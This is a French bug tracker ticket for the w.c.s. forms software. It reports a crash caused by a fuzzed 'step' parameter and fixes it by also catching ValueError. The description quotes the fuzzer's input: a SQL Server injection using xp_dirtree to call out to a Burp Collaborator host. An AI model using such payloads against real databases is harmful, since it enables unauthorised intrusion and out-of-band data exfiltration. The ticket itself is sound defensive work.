w.c.s. - Bug #33066

crash sur injection de fuzz dans "step"

14 mai 2019 11:20 - Thomas Noël

Statut:	Fermé	**Début:**	14 mai 2019
Priorité:	Normal	**Echéance:**	
Assigné à:		**% réalisé:**	0%
Catégorie:		**Temps estimé:**	0:00 heure
Version cible:			
Patch proposed:	Oui	**Planning:**	Non

Description

Sur une tentative de POST avec :

```
step            "0);declare @q varchar(99);set @q='\\\\co4wl32gfj2k1xrj41o66xlii9o6cw0nsbkycm1.bur
pcollab'+'orator.net\\fgq'; exec master.dbo.xp_dirtree
@q;-- "
```

on crashe ainsi :

```
Exception:
  type = '<type 'exceptions.ValueError'>', value = 'invalid literal for int() with base 10: "0);de
clare @q varchar(99);set
@q='\\\\co4wl32gfj2k1xrj41o66xlii9o6cw0nsbkycm1.burpcollab'+'orator.net\\fgq'; exec master.dbo.xp_
dirtree @q;-- "'

Stack trace (most recent call first):
  File "/usr/lib/python2.7/dist-packages/wcs/forms/root.py", line 718, in _q_index
   716             step = int(form.get_widget('step').parse())
   717         except TypeError:
>  718             step = 0
   719
   720         # reset verified fields, making sure the user cannot alter them.
```

parce qu'on catche TypeError et pas ValueError

Révisions associées

Révision a9395fe2 - 14 mai 2019 12:31 - Thomas Noël

forms: handle bad step or page values (#33066)

Historique

#1 - 14 mai 2019 11:42 - Thomas Noël

- Fichier 0001-forms-handle-bad-step-or-page-values-33066.patch ajouté

- Statut changé de Nouveau à Solution proposée

- Patch proposed changé de Non à Oui

Voici ce que j'ai repéré pour l'instant (en suivant les traces obtenues par le fuzzing)

#2 - 14 mai 2019 12:06 - Emmanuel Cazenave

Un chouia plus d'élégance comme ça ?

```
if step == 0:
    try:
        page_no = int(form.get_widget('page').parse())
        page = self.pages[page_no]
    except (TypeError, ValueError, IndexError):
        # this situation shouldn't arise (that likely means the
        # page hidden field had an error in its submission), in
        # that case we just fall back to the first page.
```

```
        page_no = 0
        page = self.pages[page_no]
```

#3 - 14 mai 2019 12:15 - Thomas Noël

- Fichier 0001-forms-handle-bad-step-or-page-values-33066.patch ajouté

Emmanuel Cazenave a écrit :

> Un chouia plus d'élégance comme ça ?

Pour te faire plaisir.

#4 - 14 mai 2019 12:19 - Emmanuel Cazenave

- Statut changé de Solution proposée à Solution validée

Bisous.

#5 - 14 mai 2019 12:33 - Thomas Noël

- Statut changé de Solution validée à Résolu (à déployer)

(zut, poussé sans attendre la fin des tests... bon, je vais taguer après s'ils sont bien ok)

```
commit a9395fe262a0b726f12acace6d6242bcc9859af7
Author: Thomas NOEL <tnoel@entrouvert.com>
Date:   Tue May 14 11:25:21 2019 +0200

    forms: handle bad step or page values (#33066)
```

#6 - 14 mai 2019 15:15 - Frédéric Péters

- Statut changé de Résolu (à déployer) à Solution déployée

Fichiers

0001-forms-handle-bad-step-or-page-values-33066.patch	1,93 ko	14 mai 2019	Thomas Noël
0001-forms-handle-bad-step-or-page-values-33066.patch	1,82 ko	14 mai 2019	Thomas Noël